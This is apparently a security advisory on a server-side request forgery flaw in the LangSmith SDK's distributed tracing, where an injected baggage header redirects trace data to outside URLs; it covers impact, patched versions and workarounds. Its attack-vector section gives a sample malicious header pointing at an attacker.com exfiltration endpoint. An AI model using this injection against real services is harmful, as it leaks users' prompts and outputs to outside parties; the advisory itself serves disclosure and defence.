Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
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Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
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Attack Vector
1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"apiurl":"https://attacker.com/exfil","projectname":"x"}]
2. The service parses the header via RunTree.fromheaders(), storing the attacker's URL
3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil
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Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
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Affected Use Cases
Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.fromheaders() / RunTree.fromHeaders() with untrusted HTTP headers
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Remediation
Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing apiurl, apikey, and other credential fields.
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Workarounds
If unable to upgrade immediately: - Strip or validate the baggage header before passing to fromheaders() - Do not use TracingMiddleware with untrusted traffic